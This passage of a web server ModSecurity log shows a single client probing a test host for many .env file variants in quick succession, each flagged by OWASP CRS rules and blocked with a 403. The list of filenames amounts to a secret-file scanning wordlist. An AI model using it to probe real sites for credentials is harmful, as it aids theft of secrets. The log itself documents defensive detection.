&quot;Z7VjZQzqEFiMFYV11BywuAAAAAM&quot;]
[Wed Feb 19 05:51:49.709459 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywuAAAAAM&quot;]
[Wed Feb 19 05:51:49.709940 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywuAAAAAM&quot;]
[Wed Feb 19 05:51:49.733621 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dist&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywuQAAAAM&quot;]
[Wed Feb 19 05:51:49.733985 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywuQAAAAM&quot;]
[Wed Feb 19 05:51:49.734539 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywuQAAAAM&quot;]
[Wed Feb 19 05:51:49.759293 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.docker&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywugAAAAM&quot;]
[Wed Feb 19 05:51:49.759666 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywugAAAAM&quot;]
[Wed Feb 19 05:51:49.760157 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywugAAAAM&quot;]
[Wed Feb 19 05:51:49.783505 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.docker.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywuwAAAAM&quot;]
[Wed Feb 19 05:51:49.783886 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywuwAAAAM&quot;]
[Wed Feb 19 05:51:49.784343 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywuwAAAAM&quot;]
[Wed Feb 19 05:51:49.808893 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywvAAAAAM&quot;]
[Wed Feb 19 05:51:49.809296 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywvAAAAAM&quot;]
[Wed Feb 19 05:51:49.810041 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywvAAAAAM&quot;]
[Wed Feb 19 05:51:49.834103 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywvQAAAAM&quot;]
[Wed Feb 19 05:51:49.834574 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywvQAAAAM&quot;]
[Wed Feb 19 05:51:49.835021 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywvQAAAAM&quot;]
[Wed Feb 19 05:51:49.858417 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywvgAAAAM&quot;]
[Wed Feb 19 05:51:49.858815 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywvgAAAAM&quot;]
[Wed Feb 19 05:51:49.859262 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywvgAAAAM&quot;]
[Wed Feb 19 05:51:49.882647 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywvwAAAAM&quot;]
[Wed Feb 19 05:51:49.883015 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywvwAAAAM&quot;]
[Wed Feb 19 05:51:49.883478 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywvwAAAAM&quot;]
[Wed Feb 19 05:51:49.914510 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywwAAAAAM&quot;]
[Wed Feb 19 05:51:49.914910 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywwAAAAAM&quot;]
[Wed Feb 19 05:51:49.915372 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywwAAAAAM&quot;]
[Wed Feb 19 05:51:49.942150 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.travis&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywwQAAAAM&quot;]
[Wed Feb 19 05:51:49.942628 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywwQAAAAM&quot;]
[Wed Feb 19 05:51:49.943090 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywwQAAAAM&quot;]
[Wed Feb 19 05:51:49.968305 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywwgAAAAM&quot;]
[Wed Feb 19 05:51:49.968669 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywwgAAAAM&quot;]
[Wed Feb 19 05:51:49.969165 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;Z7VjZQzqEFiMFYV11BywwgAAAAM&quot;]
[Wed Feb 19 05:51:50.098499 2025] [:error] [pid 1258388] [client 193.41.206.98:57436] [client 193.41.206.98] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;Z7VjZgzqEFiMFYV11BywwwAAAAM&quot;]
